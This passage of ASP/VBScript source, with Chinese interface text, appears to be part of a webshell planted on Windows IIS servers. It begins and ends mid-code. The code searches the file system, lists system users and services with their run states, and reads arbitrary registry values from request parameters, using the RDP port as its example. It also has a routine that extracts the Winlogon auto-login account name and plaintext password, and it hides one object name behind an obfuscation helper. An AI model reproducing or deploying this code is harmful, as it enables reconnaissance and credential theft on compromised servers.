"
end if
dim i
for i=0 to ubound(Folders)
Call GetAllFile(Folders(i))
next
Response.Write "共搜索到"&Counter&"个结果
"
End Function
Private Function GetAllFile(Folder)
dim objFd,objFs,objFf
Set objFd=objFso.GetFolder(Folder)
Set objFs=objFd.SubFolders
Set objFf=objFd.Files
dim strFdName
On Error Resume Next
For Each OneDir In objFs
strFdName=OneDir.Name
If strFdName<>"Config.Msi" EQV strFdName<>"RECYCLED" EQV strFdName<>"RECYCLER" EQV strFdName<>"System Volume Information" Then
SFN=Folder&"\"&strFdName
Call GetAllFile(SFN)
End If
Next
dim strFlName
For Each OneFile In objFf
strFlName=OneFile.Name
If strFlName<>"desktop.ini" EQV strFlName<>"folder.htt" Then
FN=Folder&"\"&strFlName
Counter=Counter+ColorOn(FN)
End If
Next
Set objFd=Nothing
Set objFs=Nothing
Set objFf=Nothing
End Function
Private Function CreatePattern(keyword)
CreatePattern=keyword
CreatePattern=Replace(CreatePattern,".","\.")
CreatePattern=Replace(CreatePattern,"+","\+")
CreatePattern=Replace(CreatePattern,"(","\(")
CreatePattern=Replace(CreatePattern,")","\)")
CreatePattern=Replace(CreatePattern,"[","\[")
CreatePattern=Replace(CreatePattern,"]","\]")
CreatePattern=Replace(CreatePattern,"{","\{")
CreatePattern=Replace(CreatePattern,"}","\}")
CreatePattern=Replace(CreatePattern,"*","[^\\\/]*")
CreatePattern=Replace(CreatePattern,"?","[^\\\/]{1}")
CreatePattern="("&CreatePattern&")+"
End Function
Private Function ColorOn(FileName)
dim objReg
Set objReg=new RegExp
objReg.Pattern=CreatePattern(keyword)
objReg.IgnoreCase=True
objReg.Global=True
retVal=objReg.Test(Mid(FileName,InstrRev(FileName,"\")+1))
if retVal then
OutPut=objReg.Replace(Mid(FileName,InstrRev(FileName,"\")+1),"$1")
OutPut="
" & Mid(FileName,1,InstrRev(FileName,"\")) & OutPut
Response.Write OutPut
Response.flush
ColorOn=1
else
ColorOn=0
end if
Set objReg=Nothing
End Function
End Class
Function Course()
dim sa,obj,objCourse,RW0,RW1,RW2
RW="
"
RW=RW & "| 系统用户与服务 |
"
On Error Resume Next
Set sa=CreateObject("Shell.Application")
Set objCourse=GetObject("WinNT://.")
for each obj in objCourse
Err.Clear
if obj.StartType="" then
RW=RW & ""
RW=RW & "| "
RW=RW & obj.Name
RW=RW & " | "
RW=RW & "系统用户(组)"
RW=RW & " |
"
RW0="| |
"
end if
if obj.StartType=2 then lx="自动"
if obj.StartType=3 then lx="手动"
if obj.StartType=4 then lx="禁用"
if LCase(mid(obj.path,4,3))<>"win" and obj.StartType=2 then
RW1=RW1 & "| [启动类型:"&lx&"] | "&obj.Name&"---"&obj.DisplayName&" |
| [运行状态:"&sa.IsServiceRunning(obj.Name)&"] "&obj.path&" |
"
else
RW2=RW2 & "| [启动类型:"&lx&"] | "&obj.Name&"---"&obj.DisplayName&" |
| [运行状态:"&sa.IsServiceRunning(obj.Name)&"] "&obj.path&" |
"
end if
next
Set objCourse=Nothing
Set sa=Nothing
Response.Write RW & RW0 & RW1 & RW2 & "
" :RW="" :RW0="" :RW1="" :RW2=""
End Function
Function TRegedit()
dim WSHShell,isReadstr
dim autoLoginPath,autoLoginEnableKey,autoLoginUserKey,autoLoginPassKey
dim autoLoginEnable,autoLoginUser,autoLoginPass
RW="
"
RW=RW & " 例如:读取终端端口 项路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\ "
RW=RW & "值名称:PortNumber |
"
if Request("id")="AutoLogon" then
set WSHShell=Server.CreateObject(ObT(1,0))
autoLoginPath="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"
autoLoginEnableKey="AutoAdminLogon"
autoLoginUserKey="DefaultUserName"
autoLoginPassKey="DefaultPassword"
autoLoginEnable=WSHShell.RegRead(autoLoginPath & autoLoginEnableKey)
if autoLoginEnable=0 then
RW=RW & " 系统自动登录功能未开启 |
"
else
autoLoginUser=WSHShell.RegRead(autoLoginPath & autoLoginUserKey)
RW=RW & " 自动登录的系统帐户:" & autoLoginUser & " "
On Error Resume Next
autoLoginPass=WSHShell.RegRead(autoLoginPath & autoLoginPassKey)
If Err Then Err.Clear
RW=RW & " 自动登录的帐户密码:" & autoLoginPass & " |
"
Response.Write RW:RW=""
end if
end if
if (Request("TRPath")<>"") and (Request("TRName")<>"") then
Set WSHShell=Server.CreateObject(ObT(1,0))
isReadstr=WSHShell.RegRead(Request("TRPath") & Request("TRName"))
RW=RW & " 该值是:" & isReadstr & " |
"
Set WSHShell=Nothing
else
RW=RW & "